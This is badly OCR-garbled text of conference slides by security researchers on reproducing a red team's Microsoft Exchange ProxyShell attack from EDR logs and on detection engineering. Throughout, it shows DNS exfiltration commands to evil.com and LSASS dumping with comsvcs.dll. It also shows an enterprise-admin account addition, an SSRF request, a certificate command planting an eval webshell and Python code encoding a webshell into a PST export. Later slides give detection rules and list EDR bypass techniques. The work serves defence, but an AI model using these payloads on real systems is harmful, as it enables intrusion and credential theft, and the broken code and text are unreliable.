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Actually, your Blue team
Is red. Stealing your Red
move from the Blue side.

Charles Yang & Evan Huang
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Who_We Are?

Charles Yang Evan Huang
Principal Security Researcher @ CoreCloud - Senior Security Researcher @ CoreCloud
HITCON Defense Attacker * Penetration Tester |
Penetration Tester * Reversing I
Reversing * Binary Security
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e sqlservr.exe [3512]

C:\Program Files\Microsoft SQL Server\MSSQL13.MSSQLSERVER\MSSQL\Binn\sqlservr.exe

[896]
2022-05-1511:33:0/.488
NT Service\MSSQLSERVER

nslookup root.evil.com

"C:\Windows\system32\cmd.exe" /c ping whoami .cf

"C:\Windows\system32\cmd.exe" /c ping whoami .cfi

; r nnnnnnnnnnnnnnnnnnnnnnnnn
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e sqlservr.exe [3512]

C:\Program Files\Microsoft SQL Server\MSSQL13.MSSQLSERVER\MSS5QL\Binn\sqlservr.exe

[896]
2022-05-15 11:33:0/.488
NT Service\MSSQLSERVER

nslookup 6.1.7601.evil.com

-

"C:\Windows\system32\cmd.exe" /c ping ver .cf

/c ping ver .cf

"C:\Windows\system32\cmd.exe

WAN SURVIVAL GUIDE FOR THE WS

HITEON | rYBESQ VAR
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e sqlservr.exe [3512]
C:\Program Files\Microsoft SQL Server\MSSQL13.MSSQLSERVER\MSSQL\Binn\sqlservr.exe

[896]
2022-05-1511:33:0/7.488
NT Service\MSSQLSERVER

WEFRBERAEQQ
"C:\L~Jindows\system32\cmd.exe" /C ping xxxxxx.c_

"C:\Windows\system32\cmd.exe" /c ping xxxxxx.c_

r' uuuuuuuuuuuuuuuuuuuuuuuuu
HITEON | rYBESQ VAR
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Timeline
Pwn20wn

2021/07/04 @ presenting
released patch Red Team the exploit
targeting 2021/04/13 Detected
Microsoft Exchange Patched
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Detected Post Exploitation

MITRE ATT&CK

Q arumi10_1b921eb2.exe [9516)

° EXtraCtlng SAM database C:\inetpub\ww\ aspnet_client\arumi10_1b921eb2 exe

T1003.002 OS Credential Dumping: Security Account Manager 49432
2021-07-1516:20:41.623

MAILTS

« Renamed cmd.exe

T1036.003 Masquerading: Rename System Ultilities + Process (Create
reg.exe [66164]

e LSASS Minidum D Windows\System32\r

T1003.001 OS Credential Dumping: LSASS Memory

« Adding Enterprise Admin I
T1136.002 Create Account: Domain Account
e tvBER WAR -
- — 1 -  — &\Q\{\Q\\\\\\ , o AR Q\{:\\%
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Detected Post Exploitation

MITRE ATT&CK

| e wap exe [49492]
« Extracting SAM database C:\Windows\System3

T1003.002 OS Credential Dumping: Security Account Manager

« Renamed cmd.exe
T1036.003 Masquerading: Rename System Ultilities

e« LSASS Minidump

T1003.001 OS Credential Dumping: LSASS Memory

: : : C\inetp _ Tl et _client\arumi10 _ececZ28aa.exe
» Adding Enterprise Admin e I
T1136.002 Create Account: Domain Account
_HlTr""“ ......................
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Detected Post Exploitation

MITRE ATT&CK

« Extracting SAM database

T1003.002 OS Credential Dumping: Security Account Manager

« Renamed cmd.exe
T1036.003 Masquerading: Rename System Ulilities

e LSASS Minidump

T1003.001 OS Credential Dumping: LSASS Memory

« Adding Enterprise Admin

T1136.002 Create Account: Domain Account

"AW S u E F8y

HITION rYBER VAR

PEACE

@ arumilO_1b921eb2.exe [40824]

+ Process Create
powershell exe 12048]

C:\Windows\System32\WindowsPowerShell\v1.O\powershell.exe
[40824]

2021

powershell -e IgBwAGSAdwBlAHIAcwBoAGUAbABsACAALQBjACAAIgAiAHIAdQ

JALUUADADSA A

DIAXAB1AGSAbOBzAHYAYwBzAC4AAZABsAGWALAASAERAZOBUAGKARABIAGOACAASADE!L

. - - AT A PPN AP NN A S SNARTTINDS SN " m -~y ' A .
e A = N - J - \ Yy \ A\ A1
® y bl = |- 9 =
b -l J — 1) p— A A A b A Yinldls | — —

rundll32 C: \Wlndows\systemB2\comsvcs dll, MlnlDump 1632
C:\inetpub\wwwroot\aspnet_client\arumi10_lsass.jpg full
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Detected Post Exploitation

MITRE ATT&CK

e w3wp.exe [49492]

T1003.002 OS Credential Dumping: Security Account Manager

« Renamed cmd.exe

T1036.003 Masquerading: Rename System Utilities C:\inetpub\wwwroot\aspnet_client\arumil0_1b921eb2.exe

arumilO_1b927eb2.exe [68952]

e« LSASS Minidump

T1003.001 OS Credential Dumping: LSASS Memory shell -e IgBuAGUAdAAgAGcAcgBvAHUACAASACTIAIgBFAEAAVABFAFIAUABSAEKAUW

\TARTAEAAL

AWAY & AN\ & D) ~

GQAIAAVAGQAbwALIACAATAAgAGMAbQBKACAAZQBAAGUA > "w:u::;;’.:»s.‘
® Adding Enterprise Admin pnet_client/arumil@_ 1b921eb2.txt I

T1136.002 Create Account: Domain Account net group ""ENTERPRISE KEY ADMINS"" MAIL1$ /add /do
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MITRE T0094.87: Annoying The Red Team
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- corecloud nslookup flag.NoRCE4U.lmao.Q

Name: flag.NoRCE4U.1lmao.Q
Address: 127.0.0.1
[+ Downloads nslookup ple45e.dont.attack.M3.030.qoolE

Name: ple45e.dont.attack.M3.030.qoo
Address: 127.0.0.1
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Subdomains

oh-yeah-we-are-domain-aagmin-hehehe-a
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Fie Lieale

) arumil0_ecec28aa.aspx
C:\inetpub\wwwroot\aspnet_client\arumi10_ecec28aa.aspx

’/[//(é ED R§§ﬂ§§fﬁ, T *E/-\WG bshell Ell‘] @ MsExchangeMail [10128]

C:\Program Files\Microsoft\Exchange Server\V15\Bin\MSExchangeMailboxR

HEprocessIEF 2

arumil0_ecec28aa.aspx

127.0.0.1\cS\inetpub\wwwroot\aspnet_client\arumi10_ecec28aa.aspx
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Mo CYBER VAR




WTF 2

# @ Ch4rlesMBP14 1n

_/l&\_%_:ﬁ HY{[%*%%Z':&a CCGSS log ’ $ file arurjﬁl(?) 34260a.cc..aspx.MALI(.IIOUS

2XIR=(Ewebshell E—H =006

@ Ch4rlesMBP14 1n
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orange@devco.re
34260accc9d54cb1bfcbdcbc54b17d9d
orange@devco.re
34260accc9d54cb1bfcbdcbh... 2021/7/15
4 devcore
Deleted Items

Recoverable Items

® sayshi...
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BRIEHERBIESIEMNEEHeader » B4 SEDRFAERIFER

- Webshell& Al gE 2518 5 (4 W B AR LITIRE £ W
SR ETNSE > EAEBMTEL A ERA? (BE THE)
- EfEZ=Eexploit chain » MBBEREE—T ((EFEE)

X—ASG—Orlg—SubJ ecec28aab3894a92a777cbb64274d8d1

TESj' AAAAAAAAAAAAAAAA????IT?71 977 77?777?7%agT??1 7977 [4 7777777777]7 T
77 97777)
PTP2777779uN?IN??? ~777—-17 T=7 17?2727272u? 1?27?7771 ?77AAAAAAAAAAAAAAAA

X-Barracuda-Connect: mail-pjl-x1034.google.com[2607:f8b0:4864:20::1034]

Y _RarrFrarmuda_C+ar+_Tima* TR28AADT7A1
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1130 - DEVCORE targeting Microsoft Exchange in the Server category

SUCCESS - The DEVCORE team combined an authentication bypass and a local privilege
escalation to complete take over the Exchange server. They earn $200,000 and 20 Master of

Pwn points.

728 2021/4 Pwn20wn k&
DEVCORE #¥JZ T Microsoft Exchange
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CYBER VAR

‘ OrangeTsai -
orange 8361
Yay, my talk is accepted by Black Hat USA!

"... 7 vulnerabilities that consist of server-side, client-
side, and crypto bugs were found via this attack
surface and chained into 3 different attack scenarios:
ProxylLogon, ProxyShell and ProxyOracle!"

FHraY R AU ProxyOracle £2 ProxyShell
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Arbltra ry File Write
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Arbitrary File Write

SaERER—IEER

* ProxyQOracle?
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Arbitrary File Write
ERERBE—SEER

* ProxyOracte?

- ActiveSync?
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Arbitrary File Write

SAERRR—ITEER

- ProxyOracte?

- User Interaction?
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Arbltra ry File Write

FEHENRFEE—TIEEE
- ProxyOracte?
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3. ETF—REEEL - HABE pst RN
UNC EB1EHIEERA -

R e I EE
O{BPSTHINEEEFEIZEARA
O3B HIEHTTP request4t &

4. ExE—EEEL  =E FIEF—EEx
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Try Harder

Digging Into The Bypass
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Access Log
Back to the authentication bypass and see if there's a way to hit the exporting function
. All we have now is recent IIS Access Log
. Not easy to spot the previous crucial requests due to the time consuming exploit chain
by ProxyShell in comparison to ProxyLogon
. Sending mail and waiting it to reach out ...

. Waiting for establishing Exchange management shell ...

.- Exporting mailbox and wait ... I
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Access Log

. Suspicious enough autodiscover.json requests, they're never seen before, but it seems

they're not SSRF related

. Somehow lots of Powershell pattern involved, would ProxyShell mean Powershell?

HITCON
e 2822

1 Paa.com/mapi/emsmdb/?=&Email=autodiscover/autodiscover.json¥%3f@aa.com&autodiscover.json=&CorrelationID=<empty>;&
3 Paa.com/mapi/nspi/?=&Email=autodiscover/autodiscover.json%3fPaa.com&autodiscover.json=&CorrelationID=<empty>;&
6 Paa.com/ecp/proxylogon.ecp?=&Email=autodiscover/autodiscover.json%3f@Paa.com&autodiscover.json=&CorrelationID=<empty>;&

36 Paa.com/autodiscover/autodiscover.xml?=&Email=autodiscover/autodiscover.json%3fPaa.com&autodiscover.json=&CorrelationID=<empty>;&
100 @88c57el12.com/mapi/emsmdb/?7¢c9f038d=1&Email=autodiscover/autodiscover.json%3FP88c57el12.com&autodiscover.json&CorrelationID=<empty>;&
101 (@88c57el2.com/autodiscover/autodiscover.xml?7c9f@038d=1&Email=autodiscover/autodiscover.json%3F@88c57e12.com&autodiscover.json&Correla

tionID=<empty>;&
102 @88c57e12.com/Powershell?X-Rps—CAT=VgEAV I

FAAAAAA==&Email=autodiscover/autodisc

over . DIMNPeS ol = = 1 verl. . 21l 2MpLy~> ;&
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Access Log
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2021-07-15 07:08:37 172.17.0.1 POST /mapi/nspi/ Mailboxld=xxxxx@ mail.xxxxx.com&CorrelationID=<empty>;&ClientRequestinfo=R:
{xxxxxx}:20;RT:PING;Cl:{xxxxxx}:5;CID:{xxxxxxxx }&cafeReqld=xxxxxxx; 443 xxxxx\xxxx 172.22.x.x Microsoft+Office/16.0+
(Windows+NT+10.0;+Microsoft+Outlook+16.0.5149;+Pro) - 200 0 0 12

2021-07-15 07:08:37 172.17.0.1 POST /autodiscover/autodiscover.json X-Rps-CAT
&Email=autodiscover/autodiscover.json%3F@88c57e12.com&autodiscover.json&CorrelationID=<empty>;&cafeReqld=xxxxxxxxx; 443 - 192.168.x.X

Microsoft+WinRM+Client - 200 0 0 11

2021-07-15 07:08:37 172.17.0.1 POST /autodiscover/autodiscover.json X-Rps-CAT
&Email=autodiscover/autodiscover.json%3F@88c57e12.com&autodiscover.json&CorrelationlD=<empty>;&cafeReqld=xxxxxxxxx; 443 - 192.168.X.X
Microsoft+WinRM+Client - 500 0 0 14 I
I
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Exchange MAPIHT TP Connectivity Endpoint

Version: 15.1.1713.10

Vdir Path: ‘mapinsp:

User: NTAUTHORITY'SYSTEM
UPN:

SID: §-1-3-18

Organization:

Authentication: Negotiate

PUID:

TenantGuid::

Cafe: ex0l .corecloud.lab
Mailbox: ex01 corecloud.lab

Successfully reproduced one piece of the exploit chain!

CVE-2021-34473 — Pre-auth Path Confusion Leads to ACL Bypass I
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The Mysterious Token
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The Mysterious Token

T
RURRIRIRINRT

Logger.EnterFunction(ExTraceGlobals .RemotePowershell kendCmdletProxyModuleTracer, "OnAuthenticateOrPostAuthenticateRequest");
HttpContext httpContext = HttpContext, =
i1f (httpContext. sé : )

{

Ll.l'._'.__'-.‘x vila

g(ExTraceGlobals . RemotePowershel |Ba

ken ilet] vModu leTra

ol

“[RemotePowershel |BackendCmdletProxyModule: :OnduthenticateOrPos tAuthenticateRequest] Current authenticated user 1s {0} of type {1}.", new object[]

httpContext.
httpContext.

»

GetType( )

1f (string.lsNullOrEmpty(httpContext JHe ["X-CommonAccessToken" 1))

Url url = httpContext,

Exceptlon ex = null;

CommonAccessToken commonAccessToken = RemotePowershellBackendCmdletProxyModule.CommondccessTokenF romUrl{httpContext.
ex);

1f (ex != rmll)

{

ToString(), url, out

VinFMInfo.SetFallureCategoryinfo(httpContext, : , 1, ex.GetType(). 5o

-
£

httpContext. : = JUU;

4

httpContext. nce,CompleteRegues t{);

lse 11 {commonAccessToken = null)
httpContext, . ["X-CommonAccessToken"] = CommonAccessToken, Seriallze();
Logzer . TraceDebug(ExTraceGlobals .EemotePowershel IBackendCmd letProxvModuleTracer

[RemotePowershel |BackendCmd letProxyModule: :OnAnthenticate0rPos tduthenticateRequest] The CommondAccessToken has been successfully stampped in

request HTTP header.”, Array.Empty<object>()):

Logger.ExltFunction(ExTraceGlobals .RemotePowershel |BackendCmdletProxyModuleTracer, "OnAuthenticateOrPostAuthenticateRequest");

2

Diving into giant Exchange dll module
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The Mysterious Token

. From reversing engineering we knew the mysterious X-Rps-Cat would somehow
lead to authentication bypass and it's related to some weird serialization.

. But the structure is complicated, no matter how hard we try it just didn't work.
We decided to fuzz every possible field to see what happen and ...

. Fuzzing for the win ... yike, we still need to successfully establish the winrm

session to complete the subsegquent communication.
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MGMT Shell Protocol

. After lots of shots we just figured out the exact protocol being used

HITCON
e 2822

|Stage 3| Succesfully obtained ASP.NET_SessionlID-cookie: dad40d64c-1d29-4776-at6d-1Tbdl62e61b2

[Stage 3] Succesfully obtained msExchEcpCanary-cookie (CSRF): 3xrS8XAhvEWSwgsSmteduldnP3ajStkIdVyfty34fCCPUbAx]JAYEaevNi6RrGo)s6pdS33dls_g.

500

<s:Envelope xml:lang="zh-TW" xmlns:s="http://www.w3.0rg/2003/085/soap-envelope" xmlns:a="http://schemas.xmlsoap.org/ws/2004/08/addressing" xmlns:x="http://schemas.xmlsoap.org/ws

[2004/09 /transfer” xmlns:e="http://schemas.xmlsoap.org/ws/2004/08/eventing"” xmlns:n="http://schemas.xmlsoap.org/ws/2004/09/enumeration" xmlns:w="http://schemas.dmtf.org/wbem/ws

man/1l/wsman.xsd" xmlns:p="http://schemas.microsoft.com/wbem/wsman/1l/wsman.xsd"><s:Header><a:Action>http://schemas.dmtf.org/wbem/wsman/1l/wsman/fault</a:Action><a:MessagelD>uuid:

94576D36-F1A5-4773-B84F-00B2913D8AD1</a:MessagelD><a:To>http: //schemas.xmlsocap.org/ws /20084 /08/addressing/role/anonymous</a:To><a:RelatesTo>uuid: 75EFBAF1-6493-4A63-9361-F6CABBD1

E55B</a:RelatesTo></s:Header><s:Body><s:Fault><s:Code><s:Value>s:Sender</s:Value><s:Subcode><s:Value>w:InvalidSelectors</s:Value></s:Subcode></s:Code><s:Reason><s:Text xml:lang
"Zh-TW>EBEZERESNHE B RBEBER » FTLL ws-Management IR B EREBEER » </s:Text></s:Reason><s:Detail><w:FaultDetail>http://schemas.dmtf.org/wbem/wsman/1/wsman/faultDe

tail/UnexpectedSelectors</w:FaultDetail><f:WSManFault xmlns:f="http://schemas.microsoft.com/wbem/wsman/1l/wsmanfault" Code="2150858843" Machine="ex0l.corecloud.lab"><f:Message>S

hellld & 198ES8F7A-B3D7-43C4-BDC8-2ECOF56CD2F3 Z Windows BIFRMEMNEREN  AAHERRB[ LIEAZRE - O ENRES: BER Shellld FENRIARBABGFENGMEL - HIRMLEE

B Shellld SHEBUFEE » MERSUMIE » </f:Message></f:WSManFault></s:Detail></s:Fault></s:Body></s:Envelope>
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<N1l N="5Senioritylndex” />

<0bj N="VoliceMallSettings”™ Refld="14">
<INEef Refld="4" />
<LST />

</0b7]>

<S N="Identity">corecloud.lab/Users/mis@1</S>]
<B N="1IsValid '>true</B>

<S N="ExchangeVersion >0.0 (6.5.6500.0)</5>
<S N="Name '>m1s01l</S>

Successfully Interactive With Exchange Management Shell
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- Export-ExchangeCertificate I

\\\\\\\\\\\\\\\\\\\\\\\\\

HITCON | =
rlBEHWAR - + i - — &\Q\{\Q\\\\\\ ,

“““ 2822

s S B N
, ,’\x;,bg.‘\og‘.@

\\\\




- .. N RIS —
[ WAON Nl ARy
| i
- 1

New-ExchangeCertificate -GenerateRequest -SubjectName "cn—=<script language='JScript’
runat='server>function Page_LoaD(){eval(Request| a |)}</script>" -Friendlyname 'aaaabbbb
-domainname ex01

Get-ExchangeCertificate

Export-ExchangeCertificate -Thumbprint xxxxx -filename ™\ \127.0.0.7\c$

\inetpub\wwwroot\aspnet_client\revan.aspx” -binaryencoded I
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[PS] C:\Windows\systend2>get-exchangecertificate

Services Subject
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PST Webshell

. Back to the origin exploit - Exporting PST webshell
. After doing some code review and document read we found it's just a

permutation encoding
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Payload Delivery

 How to embed the malicious payload into the exported file?

* We deliver the malicious payloads by Emails (SMTP) but the file is encoded ®
* The exported file is in Outlook Personal Folders (PST) format, by reading the MS-

PST documentation, we learned it's just a simple permutation encoding

\RemotePowershellBackendCmdletProxyModule.cs

mpbbCrypt = [65, 54, 19, 98, 168, 33, 110, 187, 244, 22, 204, 4, 127, 100, 232, ..]

S

encode_table = bytes.maketrans((bytearray(mpbbCrypt), bytearray(range(256))) F
'<%@ Page Language="Jscript"%>..'.translate(encode_table) I
l
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PST Webshell

def compressible_decode(payload):

[ 0x47, 0Oxf1,
Oxe@, Oxbb,
0x96, 0x30,
0x91, Ox17,
Ox3b, 0@xla,
Oxch, ©Oxoéd,
Oxc/, 0x62,
0x45, 0x21,
0x33, 0x50,
Ox4f, Oxe/,
Ox68, 0x52,
Ox2b, 0x15,
Oxd8, 0x58,
0x0e, 0x81, 0x65,
0x64, Ox3f, 0xcl,
[None]*len(payload)

compEnc =

0x53,

0x05,

@xca,

0x44,

0x76,

Oxb7,

0xe9,

0x78,

0x9b,

0x38,

0x84,

0x93,

Ox2f,

190 0x9a,
191 =
192
193
194
195

0xa0,
OxfT5,
0x01,
0x28,
@x5b,
@xcd,
0x70,
0xbo,
0xfo,
Ox7b,
0xd5,
Ox2c,

temp =
out[i] = "%02x" %
out = ''.join(out)

196

0x02,
0x37,
0xc4,
0xc5,
0x7e,
0x8d,
0xoc,
Oxa3,
Oxee,
Oxfc,
0x77,
Oxce,
0x73,
@xec,

1 in range(len(payload)):
ord(payload[i]) & Oxff
(compEnc [temp])

return binascii.unhexlify(out)

Oxb4, 0Oxeb, 0x0b, Oxb6a,

Oxes,
0x60,
0x32,
0x61,
Oxb2,
0x06,
0x87,
0x92,
Oxad,
Ox27,
0x34,
Oxfe,
Oxe4,
Oxf9,

0x5a,
0x82,
0x2d,
0x57,
x0T,
Oxd3,
0x9T,
Oxbc,
0x3a,
Oxae,
0x49,

0x09,
0x8c,
Oxbe,
0x20,
0x16,
0x69,
0x74,
Oxcft,
0xb5,
Oxd7,
0xbb,
0x24, Oxaf,
Oxc2, Oxaz2,
oxec 1;

L EATA

Ox8a

st I -

0x72, 0x48, 0x85, 0x4e,
Oxab,
0xc9,
0x31,
0x90,
0x29,
0x5c,
Oxa4,
0x19,
0x59,
@xbd,
0x12,
Oxde,

Oxdb,
0x13,
0x95,
Ox3d,
Ox3c,
0x86,
0x22,
Ox1c,
0x04,
OxfTa,
Ox0a,
Oxb8,
, 0xd4,

0xe3,
0x4a,
OxTT,
0x83,
Oxa9,
0xd6,
0x4c,
Oxa’,
Oxea,
0x07,
Ox7f,
0x36,
Oxel,

RDGE et ol " o o
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Successfully Control Webshell Content After Mailbox Exported

7A4

0x9e,
Oxba,
0x6b,
0xd9,
0xb9,
0x03,
0x14,
Ox6T,
0x63,
0x40,
Oxf4,
0x71,
0xc8,
0x11,

0xcb,
0x1d,
0x23,
0x43,
0x54,
0xf7,
Oxbf,
@xchb,
0x55,
@xcc,
0x88,
Oxal,
0xdo,

Ox7c,
OxT3,
Oxdl,
@xbe,
0x0d,
@xas,
Ox1f,
Ox1le,
0x25,
0x8e,
oxfd,
0x80,
0x08,

Oxc3,
OxfTh,
0x00,
Ox67,
Oxda,
0x66,
0x56,
0x4d,
0x51,
Ox5fT,
9x9d,
Oxab,
0x8b,

0x10,
Ox8fT,
Ox5e,
Oxd2,
0x5d,
0x75,
Oxaa,
Ox3e,
dxes,
Oxef,
0x18,
0x99,
Ox2a,

—=lVWel YT

A OhlA:hAvch

AARE X AAn  AAAAAT 6 AAG

Oxeb, Oxe2, OxT8, 0x94,

|h:h

Th

B4 CAZRLA#L#L
-4 FEEERL AFA-L  UESL-ABARL
vt | cf{ﬁ«:script langnage="lcript" runat="gerver">function Page LoaD(){

AbAA- OLDAAY
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stagel = requests.post("https://%s/autodiscover/autodiscover.json?@fucky@u.edu/:

autodlséover j son?@fucky@u.edu/

verifty=False
)
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Detection Engineering
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EDR Detectlon

WebShell (MITRE ATT&CK Initial Access)

Process Name Process Name Process Command line

| wiwpee == cmdec =P whoamiere/priv

M | BRER AR
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EDR Detection
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WebShell (MITRE ATT&CK Initial Access)

Process User Process Name

| wwwdata  m=p bash
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SQL Injection (MITRE ATT&CK Initial Access)

Process Name Process Name Process Command line

| silervee == cmdec =P whoamiere/priv
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SQL Injection (MITRE ATT&CK Initial Access)
Process User Process Name
o bash
sh
curl
wget
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EDR_Detection Sigma

W3WP Spawning Shell

rules/windows/process_creation/proc_creation_win_webshell_detection.ymi

22 ParentImage|endswith:

Splunk 23 - "\w3wp.exe'
24 - "\php-cgi.exe’
25 - '\nainx.exe'

Microsoft Defender
J \)IuJUVVI 111 IB

Hunting Queries/Microsoft 365 Defender/Discovery/detect-suspicious-commands-initiated-by-
Description web-server-processes.yami

This query ident
with an EDR pro WEbShe”

available Exchar Common |

Review the com
processes, that | ldentifies suspicio

that is vulnerabll and remote shell ¢
commanc

19
20
21

23

24

indicative RuUle query

Itself I1s n¢
appear e

taken on

| where Timestamp > ago(7d)

// Pivoting on parents or grand parents tlivity originating from w3wp.exe

and (((InitiatingProcessParentFileName in("w3wp.exe'", '"beasvc.exe",

or InitiatingProcessFileName in("w3wp.exe'", "beasvc.exe", "httpd.exe") or
InitiatingProcessFileName startswith "tomcat"))

s Creation” and (SrcProcName In AnyCase
xe”, “umservice.exe”) or (SrcProcName In

process where event.type == "start" and process.parent.name . ’) and Srcproccmdl_ine Contains Anycase
("w3wp.exe", "httpd.exe", "nginx.exe", "php.exe", "php-cgi.exe",
"tomcat.exe") and process.name : ("cmd.exe'", "cscript.exe",

TgtProcImagePath Contains Anycase
‘gtProcName in anycase (“wermgr.exe”,

"powershell.exe", "pwsh.exe", "powershell_ise.exe", "wmic.exe",

HlT’.",‘ "wscript.exe")
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Impacket (MITRE ATT&CK Lateral Movement)

Impacket/wmiexec.py

def execute_remote(self, data, shell_type='cmd'):
1f shell_type == 'powershell':
data = '$ProgressPreference="SilentlyContinue";' + data
data = self.__pwsh + bé4encode(data.encode('utf-16le')).decode()

command = self.__shell + data

1f self.__noOutput 1s False:

command += ' 1> ' + '\\\\127.0.0.1\\%s' % self.__share + self.__output + ' 2>&1'
if PY2:

self.__win32Process.Create(command.decode(sys.stdin.encoding), self.__pwd, None)
else:

self.__win32Process.Create(command, self.__pwd, None)

self.get _output()
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Impacket (MITRE ATT&CK Lateral Movement)

Impacket/smbexec.py

if shell_type == 'powershell':
data = '$ProgressPreference="SilentlyContinue";"' + data
data = self.__pwsh + b64encode(data.encode('utf-16le')).decode()

Im FE CEVES
command = self.__shell + 'echo ' + data + ' *> ' + self.__output + ' 275781 > ' + self.__batchFile + ' & ' + \ I paCket %/\Ez

self. shell + self.__batchFile

oy D R A T AT AR R

command += ' & ' + 'del ' + self.__batchFile

logging.debug( 'Executing %s' % command)

resp = scmr.hRCreateServiceW(self.__scmr, self.__scHandle, self.__serviceName, self.__serviceName,
LpBinaryPathName=command, dwStartType=scmr.SERVICE_DEMAND_ START)
service = resp['\pServiceHandle']
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Immediately, we can see an opportunity to hunt for processes with this pattern that are spawned from our
WmiPrvSE.exe parent process, with the flags we saw before.

Elastic

Monitori

Whilst Impack

defender's su

Description

This analytic looks for the presence of suspicious commandline parameters typically present when using Impacket tools. Impacket is a
collection of python classes meant to be used

like wmiexec.py, smbexec.py, dcomexec.py Slgma

__[file] 2>&

leverage administrative shares and hardcoded selection_other:

. X wmlexec.p
alike may leverage Impackets tools for lateral n &
parent 1S wmlprvse.exe

Search examp Les:
cma.exe /Q /c whoamli 1> \\127.0.0.1\ADMIN$\___1567¢
cmd.exe /Q /c cd 1> \\127.0.0.1\ADMIN$\__1567439:
kx dcomexec.py -object MMC20
=Endpoint.Processes where (Processe parent 1s mmc.exe
examp Le:
"C:\Windows\System32\cmd.exe" /Q /c cd 1> \\127.0.0.1\ADMIN$\__1567442499.05 2>&1
kkk dcomexec.py —object ShellBrowserwWindow
runs %SystemRoot%s\System32\rundll32.exe shell32
examp Le:
"C:\Windows\System32\cmd.exe" /Q /c cd \ 1> \\127.0.0.1\ADMIN$\__1567520103.71 2>&1
kxx smbexec.py classes meant to be
parent 1is services.exe xec.py used to
arechester BaiPrveE. o execut example: Ire to detect its use.
erechester - ) Red Te C:\Windows\system32\cmd.exe /Q /c echo tasklist ~> \\127.0.0.1\C$\__output 27>7&1 > C:\Windows\TEMP\execute.bat

erochester e

erochester C.oxd Search
erochester

erochester

erochester

erochester

srochester Prvse ox where (Processes.process = "*/c* \\\\127.0.0.1\\*" OR Processes.process= "*/c* 2>&1")

erochester

 Tool-T1588.002
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Z EDR iz INTTASHSARELMESL

Process Herpaderping

Process Ghosting
Process Hollowing
Process Injection

DIl Hijacking /Side Loading
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® WIN-RLFTM6351S6\Administrator

® (C:\Users\Administrator\Desktop\HITCON.exe
® 3776
® 2D03E99DE4ADG1FF

® HIGH

® signed

® GOOGLE LLC

® verified

® 8fbcc2973da’ealel09d8ba3f3119c994/38e6b7

—
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B X [R#RRY Bypass
- BETEEL
- & EDR RJZE#%R Ban 1#
- & EDR [E]#kAY Domain Name #5[@] 127.0.0.1
- PhantOm (Windows Eventlog Killer)
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The hook bypass

Unhook (usermode)

Syscall
Unexpected API
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Pratlcal EDR/MDR bypass

Detection Rule/Threat Hunting @ E&i? Regex

* net.exe user /domain ->regex "user| |[+/domain”
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Process Creation
Powershell

File

Registry

Image

Network

DNS

Driver
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Event type from Sigma
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For red team
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